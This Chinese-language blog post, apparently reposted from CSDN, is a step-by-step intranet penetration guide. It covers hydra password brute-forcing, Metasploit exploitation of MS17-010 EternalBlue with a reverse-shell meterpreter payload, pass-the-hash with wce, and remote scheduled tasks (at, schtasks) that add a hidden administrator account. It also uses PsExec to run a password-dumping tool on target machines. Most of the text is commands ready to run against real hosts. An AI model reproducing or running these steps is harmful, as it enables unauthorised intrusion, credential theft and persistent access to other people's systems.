内网渗透之——常规渗透方式及思路(端口扫描、 弱口令扫描、ms17_010利用、hash注入、远程连接&执行程序......)

端口扫描

常见端口以及攻击方式

具体扫描方法点此跳转我的另一文章,里面详细介绍了端口扫描工具的使用

弱口令扫描

弱口令扫描,例如对于mysql,vnc,rdp,http管理登录等弱口令进入的服务,可以使用一些弱口令扫描工具,xscan,hydra,medusa,nmap等。也可以自己找到更多更好的工具

hydra

1.先用nmap扫描开放了哪些端口

2.使用hydra对可以进行弱口令扫描的端口进行进行扫描

hydra -L user.txt -P pass.txt 192.168.16.137(爆破的ip) smb(爆破的服务名)

 -l 指定爆破用户名  -L 指定爆破的用户名字典  -p指定爆破的密码  -P 指定爆破的密码字典

nmap脚本

脚本路径:namp安装目录下的scripts

爆破脚本:brute     漏洞探测脚本:vuln

使用

nmap -p 脚本正针对的端口 --script 脚本名 要攻击的ip

msfconsole

1.输入msfconsole进入

2.查看对应漏洞可用的脚本

search 17_010

3.查看一些漏洞扫描脚本

use auxiliary/scanner/

4.利用指定的脚本扫描内网网段里存在漏洞的机器

use auxiliary/scanner/smb/smb_ms17_010 
set threads 10
set rhosts 要扫描的网段/24
exploit

5.选择合适的exp攻击存在漏洞的机器

use exploit/windows/smb/ms17_010_eternalblue
set lhost 本机ip
set rhosts 要攻击的ip/32
set payload windows/x64/meterpreter/reverse_tcp
exploit

hash注入

原理

hash注入的原理是将我们预备好的目标机器的本地或者是域用户hash注入到本地的认证进程lsass.exe中去,使得本地在使用ipc登录目标机器的时候就如同自己登录自己的机器一样获得权限。至于目标机器的本地或者是域用户hash如何取得那就要发挥你自己的想象力了,hash注入本身是为了对付那些破解不了的NTLM HASH

方法

1.先使用wce获取一台内网机器的hash值,太复杂无法破解

wce -l

2.由于使用习惯,许多情况下内网很多机器的密码是一样的(密码一致时哈希值也是一样的)

3.在其他机器尝试用拿到的hash来登陆,如果账号密码一样就可登陆

1.获取目标机名或者域名

ping -a 目标机ip

2.利用之前获取的hash值登陆,没有ntlmhash可用0代替

wce.exe -s Administrator:WIN-P68FLB30G1I:B73A13E9B7832A35AAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942

3.远程访问目标机c盘默认共享文件

dir \\目标机ip\c$

4.将目标机的c盘映射到本地

net use z: \\目标机ip\c$

远程连接&执行程序

添加计划任务

at计划任务

注意

使用情形:拿到目标机的账号密码但是无法远程桌面连接
需要开启Task Scheduler服务

1.利用IPC$默认共享远程连接目标机

net use \\目标机ip /user:administrator 密码

2.查看目标机的时间

net time \\目标机ip

3.添加at计划任务执行

3.1直接执行命令

at \\目标机ip 时间 命令

例:
创建用户

at \\192.168.16.158 12:50 net user zs 123.com /add

将用户添加到管理员组

at \\192.168.16.158 12:50 localgroup administrators zs /add

3.2使用脚本

新建一个bat文件,内容为新建一个用户,并将其加入管理员组

将bat文件复制到目标机

copy 1.bat \\目标机ip\c$\1.bat

添加计划任务运行此脚本

at \\目标机ip 时间 脚本路径

4.查看目标机所有at任务列表

at \\192.168.16.158

添加schtasks计划任务执行

注意
使用情形:拿到目标机的账号密码但是无法远程桌面连接
需要开启Task Scheduler服务    2003之后的系统才可以使用

1.新建一个bat文件,内容为新建一个用户,并将其加入管理员组

2.利用IPC$默认共享远程连接目标机

net use \\目标机ip /user:administrator 密码

3.将bat文件复制到目标机

copy 1.bat \\目标机ip\c$\1.bat

4.查看目标机的时间

net time \\目标机ip

5.输入以下命令添加schtasks计划任务

schtasks /create /tn aa /tr 脚本路径 /sc once /st 时间 /S 目标机ip /U 用户名 /P 密码 /RU system

加上/RU system是以系统用户执行,也可去掉,    脚本路径也可替换为单个命令

6.直接执行一个没有执行的计划任务

schtasks /run /tn 计划任务名 /s 目标机ip /u 用户名 /p 密码 

7.删除计划任务

schtasks /F /delete /tn 计划任务名 /s 目标机ip /u 用户名 /p 密码 

psexec远程执行

1.利用远程上传本地软件到目标机

net use \\目标机ip\c$ /user:administrator 密码
copy wce.exe \\目标机ip\c$\

2.执行目标机本地的程序

PsExec.exe \\目标机ip –accepteula -u 用户 -p 密码 执行的程序

第一次运行会弹框,输入–accepteula这个参数就可以绕过

3.利用psexec自带的参数上传本地程序到目标机,执行完后自动删除

Psexec.exe \\目标机ip -u 用户 -p 密码 -c QuarksPwDump.exe -d

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回

发布了66 篇原创文章 · 获赞 234 · 访问量 3万+

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/105102705